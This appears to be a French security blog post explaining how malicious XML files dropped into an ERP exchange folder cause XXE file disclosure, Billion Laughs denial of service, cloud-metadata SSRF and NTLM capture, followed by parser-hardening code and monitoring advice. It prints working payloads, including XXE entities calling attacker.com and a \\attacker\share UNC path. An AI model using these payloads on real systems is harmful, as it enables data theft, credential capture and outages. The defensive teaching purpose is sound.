🧹 XML Apocalypse – Quand un fichier innocent met ton ERP à genoux

Le XML, c’est propre, structuré  et incroyablement dangereux mal utilisĂ©.

Aujourd’hui chez SecuSlice, on ne va pas parler ransomware, phishing ou zero-day. On sort les cahiers de vacances…
Non. On va parler d’un bon vieux classique : le fichier XML.
Celui qui semble inoffensif
 jusqu’à ce qu’il fasse tomber un ERP, exfiltrer un token Cloud ou dĂ©clencher un NTLM relay digne des meilleurs pentests.

Accrochez vos parseurs, on part dans le RETEX le plus “bien formĂ©â€ de l’annĂ©e.


🌐 Introduction & Environnement

Contexte

Notre scénario se déroule dans une entreprise disposant :

🛒 D’un site marchand gĂ©nĂ©rant des fichiers XML pour transmettre les commandes confirmĂ©es Ă  l’ERP

📂 D’un rĂ©pertoire d’échange (partage rĂ©seau ou SFTP) oĂč les fichiers sont dĂ©posĂ©s

🏭 D’un ERP qui lit ces fichiers pour :

  • ✅ Mettre Ă  jour les statuts des commandes
  • ✅ DĂ©clencher facturation et logistique

Flux simplifié :

Site marchand → GĂ©nĂ©ration XML → DĂ©pĂŽt sur rĂ©pertoire d’échange → 
ERP lit le fichier XML → Traitement commandes

Plateformes présentes

L’environnement comporte plusieurs stacks, ce qui multiplie les surfaces d’attaque :

  1. đŸ’» Windows (.NET / ERP propriĂ©taire)
    • Traitement des fichiers XML par un service ERP ou un batch C#
    • Souvent via un partage SMB (\\serveur\erp\incoming)
  2. 🐧Linux (PHP / Python / Middleware)
    • Scripts de traitement de fichiers XML ou transformation XSLT
    • Échanges via NFS ou SFTP
  3. ☁ Cloud (AWS / Azure / GCP)
    • Stockage temporaire sur S3 ou Blob Storage avant traitement serverless
    • Parsing via Lambda / Function ou service managĂ©
  4. 🏱IBM i (AS/400)
    • DĂ©pĂŽt des fichiers XML sur l’IFS (/home/erp/incoming)
    • Traitement via des jobs RPG ou COBOL
  5. 🌐Web (PHP / Node.js / Python)
    • Portails ou microservices qui reçoivent des XML pour intĂ©gration
  6. ☕Java (Spring, Tomcat, WebLogic)
    • Traitement XML avec JAXB, SAX ou DOM
    • Souvent en back-end d’ERP ou de middleware

đŸ’„Surface d’attaque identifiĂ©e

  • Aucune validation stricte des fichiers XML entrants
  • Absence de chiffrement ou signature des fichiers dĂ©posĂ©s
  • Parseurs XML parfois configurĂ©s par dĂ©faut, donc vulnĂ©rables Ă  :
    • XXE (XML External Entities)
    • Billion Laughs (DoS mĂ©moire)
    • Encodage exotiques provoquant crash ou lecture incorrecte
    • Exfiltration de fichiers internes ou NTLM relay sur Windows

🎯Objectif de ce RETEX SecuSlice :
Montrer comment un simple fichier XML piégé peut :

  1. 💀 Planter un ERP (DoS)
  2. đŸ“€ Exfiltrer des donnĂ©es (XXE, NTLM relay, SSRF)
  3. đŸ•”ïž Provoquer des impacts financiers ou rĂ©putationnels

⚠ Avertissement SecuSlice :
Les techniques et payloads présentés dans cet article sont destinés uniquement à un usage pédagogique et en laboratoire.
Ne testez jamais ces attaques sur un environnement de production ou un systĂšme dont vous n’ĂȘtes pas responsable.
L’exploitation non autorisĂ©e de ces techniques est illĂ©gale et peut entraĂźner des poursuites pĂ©nales.

2ïžâƒŁ ScĂ©nario d’attaque n°1 – Injection XML simple 🐣

2.1. Flux normal

Dans l’environnement Ă©tudiĂ©, un flux XML typique ressemble Ă  ceci :

xml
<commandes>
    <commande>
        <id>CMD12345</id>
        <client>Durand</client>
        <montant>250.00</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>
  1. Le site marchand dĂ©pose ce fichier sur le rĂ©pertoire d’échange (ex. \\serveur\erp\incoming)
  2. L’ERP lit le fichier, met à jour la commande dans sa base et passe à la suivante
  3. Tout est normal, log propre, pas d’erreur ✅

2.2. Injection d’un fichier XML piĂ©gĂ©

Un attaquant, ayant accĂšs au rĂ©pertoire d’échange ou ayant compromis le site marchand, remplace ou ajoute un fichier XML malveillant.

Exemple 1 : XXE (XML External Entity)

xml
<?xml version="1.0"?>
<!DOCTYPE commandes [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<commandes>
    <commande>
        <id>CMD99999</id>
        <client>&xxe;</client>
        <montant>9999.99</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>

Effet concret :

  • L’ERP va tenter de parser le fichier
  • Le moteur XML tente de rĂ©soudre l’entitĂ© &xxe; → lit /etc/passwd (sous Linux) ou C:\Windows\win.ini sous Windows
  • Si l’ERP journalise ou transmet le contenu → fuite de donnĂ©es immĂ©diate

Exemple 2 : Billion Laughs Attack (DoS mémoire)

xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol1 "&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;">
]>
<commandes>
    <commande>
        <id>&lol3;</id>
    </commande>
</commandes>

Effet concret :

  • Chaque entitĂ© se dĂ©multiplie exponentiellement
  • Le parseur XML consomme toute la RAM
  • RĂ©sultat :
    1. Crash ERP
    2. Blocage des traitements
    3. Potentiel DoS prolongĂ© si l’ERP relit le fichier Ă  chaque redĂ©marrage

2.3. Impact concret âžĄïž

  • ERP indisponible pendant plusieurs minutes/heures
  • Blocage de la chaĂźne de commandes → perte de CA
  • Fuite de fichiers internes si les logs sont accessibles
  • Aucune alerte SIEM si l’attaque est interne et silencieuse

⚡ Retex sĂ©curitĂ© :
Ce scĂ©nario montre qu’un fichier XML piĂ©gĂ©, dĂ©posĂ© dans un rĂ©pertoire d’échange, suffit pour provoquer une indisponibilitĂ© ou une fuite de donnĂ©es si :

  • L’ERP ne valide pas ses entrĂ©es
  • Les entitĂ©s externes ne sont pas dĂ©sactivĂ©es
  • Les parseurs XML ne sont pas limitĂ©s en mĂ©moire et profondeur

3ïžâƒŁ ScĂ©nario d’attaque n°2 – XXE avancĂ©e + Exfiltration 🎯

3.1. Objectif de l’attaquant

Aprùs avoir vu que le simple DoS XML fonctionne, l’attaquant veut :

  1. đŸ“€RĂ©cupĂ©rer des informations internes (fichiers sensibles, credentials)
  2. 🔗Faire sortir ces donnĂ©es vers un serveur qu’il contrĂŽle
  3. đŸ’„Exploiter les mĂ©canismes Windows pour Ă©lever ses privilĂšges (NTLM relay)

3.2. PrĂ©paration de l’attaque

  1. L’attaquant dĂ©ploie un serveur malveillant externe
    • Sur Internet ou sur le LAN compromis
    • Capable de recevoir des requĂȘtes HTTP ou SMB
  2. CrĂ©ation d’un fichier XML piĂ©gĂ© avec XXE
    • On cible l’exfiltration rĂ©seau (vers HTTP externe)
    • Ou le dĂ©clenchement d’une authentification Windows (NTLM relay)

Exemple 1 : XXE + Exfiltration HTTP

<?xml version="1.0"?>
<!DOCTYPE commandes [
  <!ENTITY xxe SYSTEM "http://attacker.com:8080/?data=/etc/passwd">
]>
<commandes>
    <commande>
        <id>CMD666</id>
        <client>&xxe;</client>
        <montant>666.00</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>
  • Effet :
    1. L’ERP lit le fichier
    2. Le parseur XML tente de résoudre &xxe;
    3. Il appelle http://attacker.com:8080 en transmettant le contenu du fichier ciblé
    4. DonnĂ©es exfiltrĂ©es discrĂštement vers l’attaquant

Exemple 2 : XXE + NTLM relay (spécifique Windows)

xml
<?xml version="1.0"?>
<!DOCTYPE commandes [
  <!ENTITY xxe SYSTEM "\\attacker\share\file">
]>
<commandes>
    <commande>
        <id>CMD777</id>
        <client>&xxe;</client>
        <montant>777.00</montant>
        <statut>Confirmée</statut>
    </commande>
</commandes>
  • Effet :
    1. L’ERP tente de lire \\attacker\share\file
    2. Windows initie une authentification NTLM vers le serveur de l’attaquant
    3. L’attaquant capture le hash NTLM et tente un relay ou crack offline
    4. Prise de contrĂŽle potentielle sur d’autres ressources internes si NTLM n’est pas protĂ©gĂ©

3.3. Schéma de Kill Chain

Le scénario complet se visualise comme suit :

Attaquant
    ↓
Dépose un XML piégé (XXE/UNC)
    ↓
RĂ©pertoire d’échange
    ↓
ERP parse le XML
    ↓
→ Soit DoS (Billion Laughs)
→ Soit Exfiltration HTTP
→ Soit NTLM relay vers \\attacker\share


3.4. Impact concret

  • Exfiltration silencieuse de fichiers internes (passwd, configs, logs)
  • Compromission Windows via NTLM relay → possible escalade AD
  • IndisponibilitĂ© ERP si DoS en parallĂšle
  • Potentiel pivot vers d’autres serveurs si le rĂ©seau interne est plat

💡 Retex sĂ©curitĂ© :
Ce scĂ©nario prouve qu’une XXE combinĂ©e Ă  un exfil rĂ©seau peut rapidement :

  • Passer d’un simple DoS Ă  une intrusion rĂ©seau complĂšte
  • Exploiter des comportements par dĂ©faut Windows pour voler des identifiants

4ïžâƒŁAnalyse multi-plateformes 🔍


4.1. Windows (ERP .NET ou batch C#)

Environnement typique

  • ERP installĂ© sur Windows Server
  • Lecture des XML depuis un partage SMB (\\serveur\erp\incoming)
  • Parsing via MSXML ou System.Xml (C#)
  • Authentification NTLM activĂ©e par dĂ©faut sur tout le domaine

Vecteurs d’attaque

  • XXE vers fichier local : C:\Windows\win.ini
  • XXE vers UNC path → NTLM relay
  • Billion Laughs / Quadratic Blowup → DoS service ERP

Pourquoi Windows est fragile

  • Parseurs XML compatibles entitĂ©s externes par dĂ©faut
  • NTLM accepte les authentifications sortantes → exploitable via UNC
  • Si l’ERP tourne en compte domaine, l’attaquant peut rebondir sur l’AD

Impact

  • Exfiltration fichiers sensibles
  • Compromission Active Directory (via NTLM relay)
  • Blocage complet du service ERP

4.2. Linux (PHP, Python, Middleware open source)

Environnement typique

  • Scripts PHP (SimpleXML/DOMDocument), Python (lxml)
  • Échange de fichiers via NFS ou SFTP
  • Parsers souvent par dĂ©faut, rarement sĂ©curisĂ©s

Vecteurs d’attaque

  • XXE vers /etc/passwd ou /proc/self/environ
  • Billion Laughs pour saturer la mĂ©moire
  • Encodage exotique (UTF-7/UTF-16) pour provoquer un crash silencieux

Pourquoi Linux est fragile

  • Services souvent non supervisĂ©s
  • Pas de limitation mĂ©moire par dĂ©faut dans les parseurs open source
  • Scripts maison rarement protĂ©gĂ©s par XSD

Impact

  • Fuite d’informations systĂšme
  • DoS applicatif si XML volumineux ou rĂ©cursif
  • Blocage de flux mĂ©tiers si pas de retry intelligent

4.3. Cloud (AWS / Azure / GCP)

Environnement typique

  • Fichiers XML dĂ©posĂ©s dans S3 / Blob Storage
  • Traitement via Lambda, Functions ou App Service
  • Parsing avec librairies standard du langage (Java, Python, Node)

Vecteurs d’attaque

  • XXE vers Metadata Service (169.254.169.254)
    • Exfiltration des tokens IAM ou Managed Identity Azure
  • Billion Laughs → explosion du coĂ»t serverless
  • SSRF vers d’autres services Cloud (Redis, RDS, API internes)

Pourquoi le Cloud est sensible

  • Services exposĂ©s internes (metadata) accessibles sans firewall
  • ElasticitĂ© Ă©conomique : une attaque DoS = facture qui grimpe
  • Logs souvent dĂ©synchronisĂ©s, rendant l’attaque difficile Ă  dĂ©tecter

Impact

  • Exfiltration credentials Cloud → pivot dans tout le tenant
  • SurcoĂ»t financier (scaling non voulu)
  • Potentiel accĂšs aux buckets / bases Cloud internes

4.4. IBM i (AS/400)

Environnement typique

  • DĂ©pĂŽt des XML dans IFS (/home/erp/incoming)
  • Traitement via jobs RPG ou COBOL
  • Parsers XML intĂ©grĂ©s ou librairies Java sur PASE

Vecteurs d’attaque

  • XML mal formĂ© → job plantĂ©
  • Billion Laughs → saturation CPU / mĂ©moire du job
  • XXE vers IFS → lecture de /QOpenSys/etc/hosts

Pourquoi IBM i est Ă  risque

  • Applications legacy rarement mises Ă  jour
  • Validation XSD quasi inexistante
  • Jobs sensibles au moindre parsing incorrect → DoS trĂšs simple

Impact

  • Plantage des jobs RPG → ERP bloquĂ©
  • Fuite fichiers IFS si logs exportĂ©s
  • DifficultĂ© de reprise car jobs doivent ĂȘtre relancĂ©s manuellement

4.5. Web (PHP / Node.js / Python)

Environnement typique

  • Applications web qui ingĂšrent des XML via upload ou API REST
  • Parsing cĂŽtĂ© serveur avec SimpleXML, xml2js, ou lxml

Vecteurs d’attaque

  • XXE pour lecture de fichiers locaux ou SSRF interne
  • Billion Laughs pour saturer le serveur web
  • Encodages piĂ©gĂ©s pour provoquer des erreurs de parsing

Pourquoi vulnérable

  • Parseurs activent XXE par dĂ©faut (PHP < 8, Python lxml, Node.js xml2js)
  • Pas de sandbox : si le service web tombe, c’est tout le site qui tombe
  • Peu de limitation mĂ©moire / taille de fichier cĂŽtĂ© upload

Impact

  • Fuite de donnĂ©es serveur
  • Blocage total du site marchand
  • Pivot vers le rĂ©seau interne si SSRF rĂ©ussi

4.6. Java (Spring / Tomcat / WebLogic)

Environnement typique

  • Middleware ERP ou intĂ©gration qui consomme des XML
  • Parsing via JAXB, SAX, DOM, Xerces

Vecteurs d’attaque

  • XXE (lecture locale + SSRF)
  • Billion Laughs / Quadratic Blowup → OOM JVM
  • SĂ©rialisation XML malveillante → RCE possible si XStream ou libs vulnĂ©rables

Pourquoi Java est critique

  • Librairies XML anciennes si non patchĂ©es
  • Garbage Collector saturĂ© par les attaques DoS XML
  • Services souvent exposĂ©s Ă  d’autres flux XML internes ou externes

Impact

  • Crash JVM complet
  • Fuite fichiers sensibles / accĂšs rĂ©seau interne
  • Potentiel RCE si sĂ©rialisation non sĂ©curisĂ©e

💡 Analyse globale :

  • Windows et Cloud sont les plus critiques pour l’exfiltration et le pivot
  • Linux et IBM i sont faciles Ă  planter mais moins intĂ©ressants pour l’attaquant si pas de logs accessibles
  • Java et Web sont des passerelles vers d’autres systĂšmes → risque majeur si rĂ©seau interne plat

Vue multi-plateformes & Faiblesses 🔍

đŸ–„ïž Plateforme⚔ Vecteur d’attaqueđŸ’„ Impact
đŸ’» WindowsXXE vers UNC + NTLM relayFuite fichiers + pivot AD
🐧 LinuxXXE /etc/passwd + Billion LaughsDoS mĂ©moire + fuite locale
☁ CloudXXE Metadata 169.254.169.254Exfil IAM + coĂ»t financier
🏱 IBM iXML mal formĂ© / Billion LaughsJob RPG plantĂ© + fuite IFS
🌐 WebXXE + DoS uploadFuite fichiers serveur + site KO
☕ JavaXXE + Billion LaughsCrash JVM + potentielle RCE

5ïžâƒŁ Bonnes pratiques & Contre-mesures đŸ›Ąïž


5.1. Objectif des contre-mesures

Les attaques XML piégées (XXE, Billion Laughs, encodages exotiques) ciblent :

  • Les parseurs XML non sĂ©curisĂ©s
  • Les systĂšmes sans contrĂŽle d’intĂ©gritĂ© sur les flux
  • Les environnements exposĂ©s au rĂ©seau interne ou externe

Objectif SecOps :

  • EmpĂȘcher l’exĂ©cution des entitĂ©s externes
  • Limiter l’impact mĂ©moire / CPU
  • DĂ©tecter rapidement une tentative d’exfiltration ou de DoS

5.2. Bonnes pratiques globales

Sécurisation des flux

  • Toujours valider les fichiers XML avec un XSD avant traitement
  • Rejeter tout fichier non conforme (taille, schĂ©ma, nommage)
  • Signer ou hacher les fichiers pour garantir leur intĂ©gritĂ©
  • Transfert chiffrĂ© (SFTP, HTTPS) et rĂ©pertoire d’échange sĂ©curisĂ©

Durcissement du parsing XML

  • DĂ©sactiver les entitĂ©s externes (XXE)
  • Limiter la taille et la profondeur des fichiers XML
  • Activer des quotas mĂ©moire / CPU sur les parseurs
  • Logger toute erreur de parsing et mettre en quarantaine le fichier

Surveillance et réponse

  • SIEM / SOC : alertes sur
    • Tentatives de lecture UNC
    • DĂ©passement mĂ©moire JVM / .NET
    • Appels vers 169.254.169.254 (Cloud metadata)
  • Sandbox XML pour tester les fichiers suspects avant traitement en prod
  • Plan de reprise si l’ERP tombe suite Ă  parsing malveillant

5.3. Bonnes pratiques par stack


đŸ’» Windows (.NET / ERP)

Mesures spécifiques :

  • DĂ©sactiver DTD et XXE dans MSXML :
csharp
var settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
  • Bloquer les accĂšs UNC sortants depuis le serveur ERP
  • Isoler le compte de service ERP (pas de privilĂšges AD Ă©levĂ©s)
  • Journaliser les erreurs XML dans l’Event Viewer + SIEM

🐧 Linux (PHP / Python / Middleware)

Mesures spécifiques :

  • PHP :
 php
libxml_disable_entity_loader(true);
  • Python lxml :
 python
parser = etree.XMLParser(resolve_entities=False)
  • Limiter la taille des fichiers XML Ă  quelques Mo
  • Superviser l’usage CPU/RAM des jobs de parsing

☁ Cloud (AWS / Azure / GCP)

Mesures spécifiques :

  • Bloquer l’accĂšs direct au Metadata Service si inutile
    • AWS : utiliser IMDSv2
    • Azure : restreindre 169.254.169.254 dans NSG/VPC
  • Quota mĂ©moire & timeout strict sur Lambda / Functions
  • Surveiller les coĂ»ts → alerte sur scaling inhabituel
  • Scanner les buckets S3 / Blob Storage pour dĂ©tecter XML suspects

🏱 IBM i (AS/400)

Mesures spécifiques :

  • Valider les XML avant de lancer les jobs RPG/COBOL
  • Isoler les jobs sensibles dans une sous-queue
  • Surveiller l’IFS pour dĂ©tecter fichiers suspects
  • Mettre en place une purge automatique des fichiers invalides

🌐 Web (PHP / Node.js / Python)

Mesures spécifiques :

  • Bloquer XXE dans tous les parseurs
  • Limiter la taille d’upload XML et filtrer l’extension
  • Stocker les fichiers en sandbox avant traitement
  • Monitorer les erreurs 500 qui peuvent indiquer un DoS XML

☕ Java (Spring / Tomcat / WebLogic)

Mesures spécifiques :

  • DĂ©sactiver les entitĂ©s externes :
Java
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
  • Limiter mĂ©moire JVM et profondeur DOM
  • Mettre Ă  jour les librairies XML (Xerces, JAXB)
  • Surveiller OOM (OutOfMemory) dans les logs applicatifs

🎯 5.4. Retex final pour SecuSlice

Message clé :

“Un fichier XML piĂ©gĂ© peut suffire Ă  faire tomber un ERP, exfiltrer des donnĂ©es internes ou ouvrir la voie Ă  une compromission rĂ©seau complĂšte.
Les parseurs XML doivent ĂȘtre durcis, les flux contrĂŽlĂ©s, et les environnements isolĂ©s selon le principe du moindre privilĂšge.”


😎 BientĂŽt on parlera de la mĂȘme chose mais avec JSON

JSON “Billion Nesting” (DoS mĂ©moire)

json
{
  "commande": {
    "id": "CMD9999",
    "details": {
      "sub1": { "sub2": { "sub3": { "sub4": { "sub5": {} } } } }
    }
  }
}
  • Effet : profondeur exponentielle → certains parseurs vont exploser en mĂ©moire ou CPU
  • Variante : fichiers JSON de plusieurs centaines de Mo → saturation serveur

🧹 XML Apocalypse – Quand un fichier innocent met ton ERP à genoux
Partager cet article : Twitter LinkedIn WhatsApp

đŸ–‹ïž PubliĂ© sur SecuSlice.com

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Retour en haut